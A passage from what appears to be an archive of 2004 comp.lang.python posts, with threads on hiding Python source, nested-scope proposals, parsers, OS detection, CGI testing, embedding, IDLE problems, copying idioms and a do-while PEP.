ASP, and PHP :) So where does Python stand in this "vague" reality
(that was my initial query!!!)

Lets not pollute this wonderful group with out-of-topic messages. If
you wanna talk about this, please email me...

Ben


From jcarlson at nospam.uci.edu  Thu Feb  5 14:46:00 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 11:46:00 -0800
Subject: hide sourcecode
In-Reply-To: <mailman.1261.1076006359.12720.python-list@python.org>
References: <bvtm5f$pgq$00$1@news.t-online.com>	<bvtpsp$126$1@news.service.uci.edu>
	<mailman.1261.1076006359.12720.python-list@python.org>
Message-ID: <bvu6m3$cg1$1@news.service.uci.edu>

> I don't know about Windows, but on Unix you can create a script with
> permissions 700 and create a small setuid program executing this script.
> 
> Don't know whether Windows has such useful things though, probably not :-P

I've never used setuid, but I would imagine that it works as the name 
suggests, it sets the user id of the process.  Which would allow you to 
run the script with Python, but not read the source.

There is likely a nontrivial set of methods and system calls where a 
script could use the 'run as' service in windows to do a similar thing, 
but I wouldn't want to write it.

  - Josiah


From apardon at forel.vub.ac.be  Fri Feb 27 03:49:04 2004
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 27 Feb 2004 08:49:04 GMT
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<403b84f8$0$134$3a628fcd@reader1.nntp.hccnet.nl>
	<slrnc3oo9a.pob.apardon@trout.vub.ac.be>
	<403cb950$0$12844$3a628fcd@reader1.nntp.hccnet.nl>
Message-ID: <slrnc3u140.pob.apardon@trout.vub.ac.be>

Op 2004-02-25, Anton Vredegoor schreef <anton at vredegoor.doge.nl>:
> Antoon Pardon <apardon at forel.vub.ac.be> wrote:
>
>>I don't see much difference between a function changing a higher up
>>variable that is global or just in between.
>
> If you want a function with its own namespace, that is already
> possible as you showed yourself in an earlier post. On the other hand,
> if a function has its own namespace what is the difference between a
> function and a class? Why not use a class in the first place?

Maybe because somtimes it is more easy or natural to think
of a problems in terms of a function and sometimes in terms
of a 

> Remember that "global" is just a way for a function to tell the
> interpreter that this variable belongs to the global namespace. 
>
> There is some inconsistency if one has a function inside a function
> and that function has a global 'x' but the outer function doesn't have
> a global 'x'. Modifications of 'x' from the deepest function do not
> reach the global namespace, in fact they do not even reach the
> namespace of the containing function.
>
> Only if both functions have a global 'x' the name is visible at the
> global and intermediate level. 

Well that looks like either poor design or poor implementation to
me.

> However there is already a mechanism to solve these kind of problems:
> namespaces! Why not use them?

Maybe because that solution can sometimes seem forced onto the
problem. Like if all you have is carpenting tools you only
can provide carpenting solutions.

>
>>>   a,b = A.a,A.b
>>
>>Well maybe my wording was off, but this doesn't accomplisch what I
>>want since after your statement followed by: a = new_value; A.a will
>>not be changed.

Aaargh!!!!, A dreadfull type on my part that completly changed the
meaning of what I wanteds to say. "not" should read "now"

-- 
Antoon Pardon


From jcarlson at nospam.uci.edu  Sun Feb  8 14:26:39 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 08 Feb 2004 11:26:39 -0800
Subject: efficient way for building class browsers.
In-Reply-To: <6ee58e07.0402080454.19f5e81c@posting.google.com>
References: <930ba99a.0402071805.15b90424@posting.google.com>
	<c04nvs$h6j$1@news.service.uci.edu>
	<6ee58e07.0402080454.19f5e81c@posting.google.com>
Message-ID: <c062lt$mb3$1@news.service.uci.edu>

>>You can write a limited parser (subject to certain flaws), one that 
>>doesn't use tokenize or compiler.ast, and get pretty fast results.  I 
>>wrote one to go into my own editor PyPE (pype.sourceforge.net), and it 
>>has no problems parsing a 100k Python source file and displaying the 
>>source tree in a GUI in less than 1/2 second on a celeron 400.
> 
> Thats slow i have a parser that parses 100k in less then 15 ms on a
> 1,2 GHz system. It will be part of "http://www.python-ide.com"
> It is a 100% GNU Eiffel solution which generates plain C code.

I never said it was the fastest, I said it was "pretty fast", and 
provided results that it was faster than the pyclbr and compiler.ast 
modules.

It is also written in Python, which seems to be more of what Sridhar was 
looking for.  Furthermore, the source for the fast parser is freely 
available.  Considering that Arachno Python IDE is a commercial effort, 
the liklihood of the parser being available in source or loadable module 
format seems fairly unlikely.


> I think the 1/2 second could also be done with some intelligent
> regexpr's. There is something like this in the IDLE code.

Checking the IDLE source for version 1.0 (I would check CVS, but CVS 
seems to be having issues at sourceforge), it uses pyclbr.

  - Josiah



From sross at connectmail.carleton.ca  Thu Feb 19 20:14:08 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Thu, 19 Feb 2004 20:14:08 -0500
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de><KLaZb.7624$Cd6.689008@news20.bellglobal.com>
	<mailman.88.1077235934.27104.python-list@python.org>
Message-ID: <obdZb.10452$Cd6.712936@news20.bellglobal.com>


"Jeff Epler" <jepler at unpythonic.net> wrote in message
news:mailman.88.1077235934.27104.python-list at python.org...
> I'm pretty sure that the two methods you mention don't give results with
> the same distribution.
[snip]

Yep. I made an error choosing random.sample() as its sampling is
done without replacement. See my subsequent post with a sample
function that uses replacement and allows for sampling beyond the
population size. That version has a better distribution:

{'11': 266, '10': 251, '00': 245, '01': 238}




From bokr at oz.net  Fri Feb 27 21:35:36 2004
From: bokr at oz.net (Bengt Richter)
Date: 28 Feb 2004 02:35:36 GMT
Subject: detecting the operating system
References: <c1mtcj$ofv$1@news-int.gatech.edu>
Message-ID: <c1oupo$lmc$0@216.39.172.122>

On Fri, 27 Feb 2004 03:00:31 -0500, "Woojay Jeon" <wjj{nospam}eon at ece.gatech.edu> wrote:

>OK, I tried a Google search on this Usenet group but couldn't find a
>solution, so I'm posting my question here (if there's a better archive than
>the one in Google, please let me know).
>
>Does anybody know how to detect the operating system under which the current
>Python program is running, especially whether it's Windows or Unix? I have a
>program that needs to search for files in "c:\test" if it's running under
>Windows, and "/home/user/test" if it's running under Unix, so the simplest
>solution I can think of is to detect the operating system, but if anyone
>could suggest a workaround, that would also be fine.
>
Why not just

dirpath = r'c:\test'
if not os.path.isdir(dirpath):
    dirpath = '/home/user/test'  # ~/test ?? or is there an account named "user"?
    # or maybe '/home/%s/test'%os.popen('whoami').read().strip()  #untested

IWT it's fairly safe to assume the windows path is not going to exist on unix
unless something strange is going on. This way you don't have to worry about
different flavors of unix and windows.

Regards,
Bengt Richter


From myles at geocities.com  Tue Feb 10 18:35:33 2004
From: myles at geocities.com (Myles)
Date: 10 Feb 2004 15:35:33 -0800
Subject: unit testing CGI scripts?
References: <545cb8c2.0402100459.26da8c7b@posting.google.com>
Message-ID: <a4638b9b.0402101535.6abe7710@posting.google.com>

> Does anyone have suggestions for unit testing CGI scripts?  For
> instance, how can I set the FieldStorage to have certain values?
> Do I have to go with a dummy FieldStorage class?  And is there a

I use 2 fairly simple and naive techniques within CGI scripts 
(not proper unittests, I'll be the first to admit, but perhaps you can
work them into proper unittests):

>From scratch:

testing = 1
if testing :
    year = "2003"
    week = "13"
else :
    form = cgi.FieldStorage()
    year = form["year"].value
    week = form["week"].value

or sometimes, when retrofitting testing:

testing = 1
if testing :
    class fakefield:
        def __init__(self, startingvalue):
            self.value = startingvalue
    yr = fakefield("2001")
    wk = fakefield("13")
    form = {"year":yr, "week":wk}
else:
    form = cgi.FieldStorage()

# the existing code
year = form["year"].value
week = form["week"].value

All final scripts are wrapped in a try/except structure that
automatically sends me an email if an uncaught exception occurs.
Python is just so tasty for quick meals.

Regards, Myles.


From tjreedy at udel.edu  Tue Feb 24 14:04:51 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 24 Feb 2004 14:04:51 -0500
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
Message-ID: <c1g78h$u82$1@sea.gmane.org>


"Antoon Pardon" <apardon at forel.vub.ac.be> wrote in message
news:slrnc3mss6.pob.apardon at trout.vub.ac.be...
> What I would like to change is access to variables on
> an intermediate scope.

As I understand, you want write (rebind) access in addition to read
access -- without having to wrap the variable in a mutable, which one can
do at present.  Some proposals to do this have been discussed on the PyDev
list.  They should be listed in Brett Cannon's summaries, which are
archived on Python.org.

Bottom line so far: given that write access is only clumsy (sometimes,
through wrapping) rather than impossible, no proposal struck enough people
as worth the bother of a syntax change.  Nested functions are much rarer
than unnested.  Needing to rebind an outer local, rather than merely read
or mutate, is rarer still.

Terry J. Reedy






From pyabo at novamens.com  Fri Feb 20 08:49:31 2004
From: pyabo at novamens.com (Pablo Yabo)
Date: Fri, 20 Feb 2004 10:49:31 -0300
Subject: Py_Finalize
Message-ID: <028201c3f7b8$5e312cb0$2601a8c0@hq.novamens.com>

Hi,
I embeded Python in a C++ application to support some scripts. I start it
using Py_Initialize() and after using running the scripts I call
Py_Finalize(). The problem that I experienced is that the memory usage of
the process doesn't decrease after the Py_Finalize().
If I call again Py_Initialize() and then load some modules, the memory usage
increase, but it never decrease when calling Py_Finalize().
How can I do a complete cleanup of the python heap?

Thanks on advanced,

Pablo Yabo





From davecook at nowhere.net  Fri Feb 27 22:10:17 2004
From: davecook at nowhere.net (David M. Cook)
Date: Sat, 28 Feb 2004 03:10:17 GMT
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com> <L7idnVU2vOGTnd3dRVn-iQ@speakeasy.net>
Message-ID: <slrnc401kp.3d3.davecook@localhost.localdomain>

In article <L7idnVU2vOGTnd3dRVn-iQ at speakeasy.net>, A.M. Kuchling wrote:

> There are several; for some reason I don't really understand, there are
> multiple Python/PostgreSQL modules.  

The standard module that comes with Postgres was just not keeping up with
the needs of users, so there was a ready audience for other modules.  At one
time there were 4: PyGreSQL (the "standard" one), psycopg, PyPgSQL, and
Popy.  PyGreSQL has now merged with Popy.  I usually use psycopg.

Dave Cook


From tjreedy at udel.edu  Tue Feb 24 12:17:15 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 24 Feb 2004 12:17:15 -0500
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com><Xns9499854B482AEduncanrcpcouk@127.0.0.1>
	<36wu11g8ums.fsf@goya03.ti.uni-mannheim.de>
Message-ID: <c1g0us$dao$1@sea.gmane.org>


"Matthias" <no at spam.pls> wrote in message
news:36wu11g8ums.fsf at goya03.ti.uni-mannheim.de...
> Duncan Booth <me at privacy.net> writes:
> > The advantage of min and max as builtins are that they work on any
> > sequence. In particular they work on iterators. Having functions that
apply
> > to an arbitrary sequence avoids a lot of potential code duplication.
>
> Do you mean code duplication on the user side?  Or code duplication in
> Python's implementations?

Python's generic programming saves user code.

Write a function taking an iterable argument and it can be used with any of
the countable infinity of possible iterable types, current and future.  For
free, without having to subclass or otherwise attach the function as a
method to each.

Write an iterable type and it can be fed to any of the countable infinity
of possible sequence functions, written and yet to be written.  For free,
without adding them all as methods, which is impossible anyway for future
functions.

>  In the latter case,

But it is both cases, so your consequent does not follow.

> To me, Python's builtins are by far not a "problem", but I admit that
> I never understood why astring.len() doesn't work.

Because there is currently no process to make generic functions accessible
(aliased) as specific methods.  Possible (but not-serious) proposal:  Add
interface objects with attribute __takes__ being a set of functions which
takes objects implementing that interface as a single argument.  Give types
a set of interfaces called __implements__.   If attribute look-up fails,
search __takes__ for interfaces in __implements__.   But you now you have
to explicitly register objects with the sets, and you still have problems
with interfaces (virtual types) often being too narrow, too broad, and/or
too numerous and what to do with multiparameter functions.  Isn't
len(astring) easier, as well as one char shorter?

Terry J. Reedy






From paolo.marz at aliceposta.it  Sun Feb  1 12:48:19 2004
From: paolo.marz at aliceposta.it (gimar)
Date: Sun, 01 Feb 2004 17:48:19 GMT
Subject: variable creation from a pathname
References: <zoaTb.176324$VW.7187727@news3.tin.it>
	<401d36c8$0$315$e4fe514c@news.xs4all.nl>
Message-ID: <DZaTb.237078$_P.8115356@news4.tin.it>

Thank you very much.
If myvalue=123 could be myvalue=[], is string formatting also possible ?

Gpaolo


"Irmen de Jong" <irmen at -NOSPAM-REMOVETHIS-xs4all.nl> ha scritto nel
messaggio news:401d36c8$0$315$e4fe514c at news.xs4all.nl...
> gimar wrote:
>
> > I wonder if there's a way to assign a value to the object obtained with:
> >
> > from os.path import *
> > splitext(basename("c:\pyfiles\sample.txt"))[0]    -----> sample
> >
> > and make it possible something like this, for example:
> >
> > sample = 123
>
> import os
> name=os.path.splitext(os.path.basename("c:\pyfiles\sample.txt"))[0]
> myvalue = 123
> exec("%s=%d" % (name, myvalue))     # <-- this is what you wanted
> print sample
>
> (it will print 123).
>
> --Irmen




From nhodgson at bigpond.net.au  Thu Feb 12 15:54:17 2004
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Thu, 12 Feb 2004 20:54:17 GMT
Subject: Allowing non-ASCII identifiers
References: <mailman.0.1076610778.31398.python-list@python.org>
Message-ID: <ZJRWb.53560$Wa.21808@news-server.bigpond.net.au>

Brian Quinlan:

> I think that Python should borrow the C# identifier syntax verbatim. That
> way we can have code that looks like this:
>
> class @class:
>     def @def(@def):
>         pass
>
> cl\u0061ss.d\u0065f(true)

   While ugly, the ability to access identifiers defined with other
languages which are keywords in Python is useful. Unicode identifiers will
also interoperation with other languages in environments which allow Unicode
identifiers such as .NET, Java and COM. If Unicode identifiers are not
possible in Python then there is a need for an mechanism to associate a
valid Python identifier with the real Unicode name.

   Neil




From pendrax at earthlink.net  Sat Feb 21 18:37:19 2004
From: pendrax at earthlink.net (Rob Hawkins)
Date: Sat, 21 Feb 2004 23:37:19 GMT
Subject: Idle won't start
In-Reply-To: <MPG.1aa0294fb691b003989682@news-server.columbus.rr.com>
References: <ecebe16b.0312141050.4a10fbba@posting.google.com>
	<8eh830tlh056hk21hm9v49m3qcinjv4pq9@4ax.com>
	<MPG.1aa0294fb691b003989682@news-server.columbus.rr.com>
Message-ID: <PYRZb.13870$W74.5834@newsread1.news.atl.earthlink.net>

John Matthews wrote:

>I have similar problems at my office machine (Win2K Pro) and my home 
>machine (WinXP). I do not, nor have ever had Ruby installed. The problem 
>seems intermittent. I gave up and went back to Python 2.2. I hated to go 
>back because the 2.3 version of IDLE was nice, but I beleive that it is 
>somehow broken and will need to be fixed for me to use it again.
>
>John
>  
>
I'm a brand-new Python user, and spent several hours with a somewhat 
similar problem. I'm running Python 2.3 on Windows XP Home (SP1). When I 
first installed from the Windows binary, IDLE would not run from the 
shortcut that was created by the installer. Double-clicking created a 
new process in Task Manager, but no window ever opened. When logging 
off  I'd get a message saying that an application was refusing to shut 
down. Unfortunately, I can't recall the exact message--something about a 
menu I think.

I found that the shortcut for IDLE  was set up to start the Python EXE 
with idle.pyw as an argument (along with the full path). I changed the 
shortcut to simply point directly to idle.pyw and IDLE started working. 
Now I'm back to reading the Python tutorial and doing "2+2" in IDLE!

Probably not the same problem, but perhaps it might help.

Rob


From miki.tebeka at zoran.com  Thu Feb  5 10:18:20 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 5 Feb 2004 07:18:20 -0800
Subject: Print function and spaces
References: <mailman.1237.1075981181.12720.python-list@python.org>
Message-ID: <4f0a9fdb.0402050718.8c6cb03@posting.google.com>

Hello Dan,

> Is there a good way to stop the space being automatically generated, or am I
> going to have to write a blank string to standard output, like the manual
> mentions?
I use the % formatting and find it much better.

HTH.
Miki


From anton at vredegoor.doge.nl  Mon Feb 23 06:05:49 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Mon, 23 Feb 2004 12:05:49 +0100
Subject: Extract data from ASCII file
References: <3602cff7.0402220711.3f7ed46@posting.google.com>
	<72a31cd.0402221950.215c8921@posting.google.com>
Message-ID: <4039df18$0$134$3a628fcd@reader1.nntp.hccnet.nl>

eley_greg at bah.com (eleyg) wrote:

>> :10000000E7280530AC00A530AD00AD0B0528AC0BE2
>> 
>> The data I want to extract are 8 hexadecimal strings, the first of
>> which is E728, like this:
>> 
>> :10000000 E728 0530 AC00 A530 AD00 AD0B 0528 AC0B E2
>> 
>> Also, the bytes in the string are reversed. The E728 needs to be 28E7,
>> 0530 needs to be 3005 and so on.
>
>The first response only works with python-2.3 (yield is a newly
>reserved word).
>
>The second response did not work for me and left off the last couple
>values.

The third response uses typechecking and stores a value in an
unreachable place ...

Maybe the feachur-less code is better (tested very lightly):

def asBytes(line,offset):
    """ split a line into 2-char chunks, starting at offset'"""
    res = []
    for i in range(offset,len(line),2):
        res.append(line[i:i+2])
    return res

def asWords(line,offset=0,swapbytes=0):
    """split a line into words that have maximally 4 chars,
        starting at offset, optionally swapping 2-char chunks"""
    res = []
    flip = 0
    for b in asBytes(line,offset):
        if flip: 
            if swapbytes:
                res.append(b+prev)
            else:
                res.append(prev+b)                
        else: 
            prev = b
        flip = 1-flip
    if flip: 
        res.append(b)
    return res

def test():
    line =":10000000E7280530AC00A530AD00AD0B0528AC0BE2"
    print asWords(line,offset=9,swapbytes=1)

if __name__=='__main__':
    test()

output is:

['28E7', '3005', '00AC', '30A5', '00AD', '0BAD', '2805', '0BAC', 'E2']

Anton


From fred.mailhot at videotron.ca  Tue Feb 17 11:43:15 2004
From: fred.mailhot at videotron.ca (Fred Mailhot)
Date: Tue, 17 Feb 2004 08:43:15 -0800
Subject: Compiling python scripts to native code ??
Message-ID: <BC5784A3.10B0C%fred.mailhot@videotron.ca>

Hi...

Is there any way to do this for *nix ?? Pointers to resources and/or FAQS
would be much appreciated.


Thanks,

Fred.



From python at rcn.com  Sun Feb 29 05:18:47 2004
From: python at rcn.com (Raymond Hettinger)
Date: 29 Feb 2004 02:18:47 -0800
Subject: Thoughts on new vs traditional idioms
Message-ID: <5d83790c.0402290218.2d3c493f@posting.google.com>

Copying
-------
To copy lists and dictionaries, the traditional idioms were l=mylist[:]
and d=mydict.copy().

When some of the builtin functions became types, a more consistent
approach became possible, l=list(mylist) and d=dict(mydict).

In general, mutable types can be copied using their type constructor.
This will also work with the new types being introduced in Py2.4,
s=set(myset) and d=collections.deque(mydeque).

For immutable types, the type constructors are smart enough to reuse the
existing value, so t=tuple(mytuple), s=str(mystring), and i=int(myint)
all return the original object (same identity) which can be used as if
it were a copy.

Taken together, the type constructors for mutable and immutable
types encapsulate much of the knowledge in the copy module (pertaining
to shallow copies).


Init
----
In Py2.2 and after, making new mutable types is separated into two steps,
__new__() for object creation and __init__() for initialization.

One implication of this change is being able to call __init__() directly
on an existing object to take advantage of some of the useful behaviors
builtin into __init__().

For lists, __init__(iterable) clears existing values and replaces them
with the elements from the iterable.  Where you used to write:
    
    a = [10, 20, 30, 40]
    a[:] = range(3)

You can now write:

    a = [10, 20, 30, 40]
    a.__init__(range(3))

I find the original approach to be clearer, but the second approach
generalizes to other types.  When used with dictionaries, __init__()
offers update behavior instead of replace behavior.  That is much
more flexible than the dict.update() method:

    d = {'a':1}
    d.__init__([('b',2), ('c',3)])   # update with an items list
    d.__init__(d=4, e=5)             # update with keyword arguments
    d.__init__(mydict)               # update with another dictionary

The item list update option is especially useful in conjunction with
enumerate() or itertools.izip() because the updates are run directly
from the iterable without consuming memory with a temporary list:

    dict(enumerate('abcdefg'))       # map letter positions to letters
    dict(izip('abcdefg', count()))   # map letters to letter positions
    d.__init__(izip(keys, values))   # update with corresponding keys and values

In Py2.4, the new mutable types, set() and collections.deque(), both
offer __init__() methods with update behavior.  So, the technique is
perfectly general and worth remembering.


Idioms and Obscurity
--------------------
Using a=constructor(b) for copying and a.__init__(arg) for updates
may seem obscure until they become standard idioms.  In time, I think
they seem more general and less cryptic than the older copy and
replace idioms, a=b[:] and a[:]=b.


From sigurd at 12move.de  Sat Feb  7 16:10:17 2004
From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=)
Date: Sat, 07 Feb 2004 22:10:17 +0100
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>
Message-ID: <m3ad3usiop.fsf@hamster.pflaesterer.de>

On  7 Feb 2004, robsom <- no.mail at no.mail.it wrote:

> And when the program tries to work on the second list it stops (of course!).
> Is there any way to avoid this problem? This kind of error happens quite

What do you want to be done?  To see if an item is missing is trivial:
just check the length of the splitted line (a list).  But what the right
action in that case is belongs to you; should the user be asked? is
always the same column missing? is it possible to distinguish the
entries without errors from each other so the programm can decide which
column is missing?



   KP

-- 
'Twas brillig, and the slithy toves
    Did gyre and gimble in the wabe;
  All mimsy were the borogoves,
   And the mome raths outgrabe.   "Lewis Carroll" "Jabberwocky"


From bokr at oz.net  Sun Feb  8 11:40:22 2004
From: bokr at oz.net (Bengt Richter)
Date: 8 Feb 2004 16:40:22 GMT
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>	<m3ad3usiop.fsf@hamster.pflaesterer.de>
	<pan.2004.02.08.14.03.15.475979@no.mail.it>
Message-ID: <c05opm$2d1$0@216.39.172.122>

On Sun, 8 Feb 2004 14:41:55 +0000 (UTC), robsom <no.mail at no.mail.it> wrote:

>Il Sat, 07 Feb 2004 22:10:17 +0100, Karl Pfl?sterer ha scritto:
>
>> What do you want to be done?  To see if an item is missing is trivial:
>> just check the length of the splitted line (a list).  But what the right
>> action in that case is belongs to you; should the user be asked? is
>> always the same column missing? is it possible to distinguish the
>> entries without errors from each other so the programm can decide which
>> column is missing?
>
>Ok, I'll try to give some more detail. These are files with data from
>field measurements and contain information about location, time,
>measurement, measurement flag, error, detection limit, calibration and
>other stuff like that. The problem is that they are made by different
>groups and are not always consistent in their format and I'm trying to
>write a code which is as general as possible.
>When a table has fixed-width columns and each element is correctly aligned
>as in the example I showed you, the problem is solved by slicing the
>string as Skip Montanaro suggested in his answer (thanks!), but this is
>not always the case. For example I can have something like this:
>
>47.455677 456.67
>47.4558 453.8
>47.46789 -9999
>47.4567 456
>
>where -9999 (or somethinbg similar) indicates there is a blank, one space
>divides the columns and the elements can have a different number of
>digits. This is of course a worst-case scenario :)
>That is why I used split in the beginning, but then I fall into the other
>problem, when there is a missing value.
>Any suggestions will be much appreciated, thanks
>
Maybe a modified regex that takes into account particular field formats?
A regex will search for things in order, so you can set one up to match
special things like -9999 while still allowing -9999.9 etc.
What do you know about each field and the separations? Is there always a full
set of fields, even if some are blank?
 
(BTW, my other post misleads in implying that line.rstrip('\n') is necessary
to get the regex to match).

Regards,
Bengt Richter


From draghuram at rocketmail.com  Mon Feb 23 19:27:22 2004
From: draghuram at rocketmail.com (Raghuram)
Date: 23 Feb 2004 16:27:22 -0800
Subject: Jythonc Question...
Message-ID: <fcfb1701.0402231627.4da5eee9@posting.google.com>

Hi,

I posted the following in Jython users list more than a month ago. But
sadly, it hasn't elicited any response. I hope I can get some
information in this group. I hope posting Jython question in this
group is OK.

Thanks,
Raghu.

 > Hi,
 >
 > Since the time I bundled my jython modules as classes and into a
jar file,
 > all the stack traces show the line number as 0. Can someone explain
why
 > this is so? The jythonc web page mentions at the end the following:
 >
 > "
 > Freezing modules:
 > ------------------
 > jythonc can also be used to freeze a python application. The frozen
 > application can then be distributed and deployed as any other java
 > application.
 > Some diffrences between an interpreted application and a frozen
 > application exists:
 >
 >         Properties are diffrent. XXX
 >         sys.argv[0]
 >         loading of python classes.
 > "
 >
 > Can someone elaborate these differences?
 >
 > Thanks in advance,
 > Raghu.
 >
 >


From merkosh at hadiko.de  Thu Feb 12 16:06:38 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Thu, 12 Feb 2004 22:06:38 +0100
Subject: fast QListView numerical sort
References: <c0fn8h$pfp$1@news.rz.uni-karlsruhe.de>
	<c0ge7a$4ok$1@news.Stanford.EDU>
Message-ID: <c0gpsu$pla$1@news.rz.uni-karlsruhe.de>

Andy Salnikov wrote:
>> The compare method returns < 0 for "smaller", 0 for "equal", > 0 for
>> "bigger".
>> Doing so works, but causes a 2 sec delay each time a re-sort has to be
> done
>> - which is rather annoying (at only less than 1/3 of its expected load!)

> Well, this probably comes from PyQt's nature - its a layer between Qt
> (which is C++)
> and Python. QListView calls some C++ function to sort its items, which in
> turn makes
> a lot of calls to QListViewItem::compare(). Every call to compare() has to
> be
> translated from C++ world to Python world, and the result returned back.

Yes. I found another suggestion on the web: overwriting the .key() method,
which has to return the value that is to be compared during sorting.
The .key() method returns a left zero-padded string and thus the string
sorting will yield the correct results.
However, this is even slower than overwriting the .compare() method.
 
>> Solutions I could come up with are:
>> a. derive a C++ QListViewItem that does the numerical sorting and use
>> this instead of the default QListViewItem in the hope it'll be faster
>> pro: probably the easyest (faster? fast enough?)
>> con: not portable

> That should be fast enough, I guess, this is the ultimate speed you can
> get.
> Why isn't it portable?

... yeah, it surely will run on Windows, but then I'll have to take care of
the cross-compilation, etc. Which Windows user has a C++ compiler
installed?
Portability is surely my (personally) least problem, but working with Python
its not nice giving up this "portability" feature: take the sources to
another platform - run.

Another possibility: Have you got any experience with Psyco? I just heard
about it, but didn't go into much details until now. Perhaps the
just-in-time compiler will boost the performance...

Thanks
Uwe


From dkuhlman at rexx.com  Thu Feb  5 16:52:31 2004
From: dkuhlman at rexx.com (Dave Kuhlman)
Date: Thu, 05 Feb 2004 13:52:31 -0800
Subject: how to run a python file with another file as an argument!
References: <ea69a371.0402051328.24de727a@posting.google.com>
Message-ID: <bvudtp$107h7f$1@ID-139865.news.uni-berlin.de>

se7en wrote:

> okay,
> 
> i cant seem to run a file with another file as an argument.
> 
> e.g I want to send the file "x.met" as an argument when  running
> the file "y.py"
> 

You will want to read about file objects in Python.  See:

    http://www.python.org/doc/current/lib/bltin-file-objects.html

Pass the file *name* on the command line.

Try something like the following:

===========================================================

#!/usr/bin/env python

import sys

def main():
    # Get the arguments from the command line, except the first one.
    args = sys.argv[1:]
    if len(args) == 1:
        # Open the file for read only.
        infile = file(args[0], 'r')
        content = infile.read()
        infile.close()
        # Do something with the contents of the file.
            o
            o
            o
    else:
        print 'usage: y.py <inputfile>'
        sys.exit(-1)

if __name__ == '__main__':
    main()

===========================================================

Here is an alternative that reads one line at a time:

===========================================================

#!/usr/bin/env python

import sys

def main():
    # Get the arguments from the command line, except the first one.
    args = sys.argv[1:]
    if len(args) == 1:
        # Open the file for read only.
        infile = file(args[0], 'r')
        # Iterate over the lines in the file.
        # Note that a file object obeys the iterator protocol.
        for line in infile:
            do_process(line)
        infile.close()
    else:
        print 'usage: y.py <inputfile>'
        sys.exit(-1)

if __name__ == '__main__':
    main()

===========================================================

Hope this helps.

Dave

-- 
http://www.rexx.com/~dkuhlman
dkuhlman at rexx.com


From nid_oizo at yahoo.com_remove_the_  Wed Feb 18 13:57:39 2004
From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury)
Date: Wed, 18 Feb 2004 13:57:39 -0500
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
In-Reply-To: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <yAOYb.4045$Ks6.57416@nnrp1.uunet.ca>

Andrew Koenig wrote:
> PEP 315 suggests that a statement such as
> 
>     do:
>         x = foo()
>     while x != 0:
>         bar(x)
> 
> be equivalent to
> 
>     while True:
>         x = foo()
>         if x == 0:
>             break
>         bar(x)
> 
> I like the overall idea, but wonder about the extra keyword.  Moreover, if
> you see
> 
>         x = foo()
>     while x != 0:
>         bar(x)
> 
> you have to read backward to see whether the assignment to x is part of this
> statement or part of a previous statement.
> 
> I have a proposal for an alternative syntax that solves both of these
> problems:
> 
>     while:
>         x = foo()
>     and while x != 0:
>         bar(x)

I like the "while:" and "and while:" syntax, but I think the "or while" 
is confusing.  I think it's worth an addition to PEP315

However, I remember reading Stroustrup saying he was not using the 
do-while at all (maybe in D&E, I'm not sure).  Even if I have used 
do-while few times, I have the feeling it should not be added to Python 
at all, so I guess I'm in fact against PEP315, whatever the syntax.  The 
reason is, if I say "do that while you're sleeping", is doesn't mean to 
me to do it at least once, even if not sleeping.  It might explain why 
so much people are not using the do-while.  This new syntax is 
interesting since it changes the vocabulary, but I think it's still 
unclear.  The if-break method is only one line more (if the break is on 
a new line), and is pretty clear in meaning.  However, there's things 
from C like += that I'm very happy to have in Python and there's still 
things I would like to have, like a ?: equivalent with a different 
syntax, but that's another story...

Regards,

Nicolas Fleury


From peter at engcorp.com  Thu Feb 26 09:40:52 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 26 Feb 2004 09:40:52 -0500
Subject: Driver for 4th Dimension?
References: <c1km9u$pns$1@news.cs.tu-berlin.de>
Message-ID: <403E0574.EEDDDEF3@engcorp.com>

Andrea Hahn wrote:
> 
> Is anybody aware of an existing Python driver for the database program "4th
> Dimension"? I am running into a problem with such a database on MacOSX
> (where ODBC is a bit of a problem), and am trying to figure out if there is
> an existing driver already, or if I should plan a database export for that
> purpose.

Clearly this is the driver used to run the time machine.  I would think,
given the PSU's propensity for eliminating anyone who even knows about 
such things, that you would want to be more ca


From usenet_spam at janc.invalid  Fri Feb  6 08:22:03 2004
From: usenet_spam at janc.invalid (JanC)
Date: Fri, 06 Feb 2004 13:22:03 GMT
Subject: like mod_python but in the kernel????
References: <mailman.1243.1075996089.12720.python-list@python.org>
	<bvve2l$vp2$06$1@news.t-online.com>
Message-ID: <Xns94879227F9FD0JanC@213.119.4.35>

"Martin v. L?wis" <martin at v.loewis.de> schreef:

> Camilo Olarte wrote:
>> If python cgi scripts can be acceletaded by means of mod_python in
>> apache (loading the python interpreter on apache)  , then : ?Is there
>> a way of doing the same but with linux kernel...  and command line
>> scripts ? 
> 
> No. mod_python reduces startup speed because it performs all the
> import actions that occur when Python starts. The same is not possible
> with the command line, as memory that the kernel allocates is not
> accessible to applications.

Then embed Python in the shell instead of in the kernel...  ;-)

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9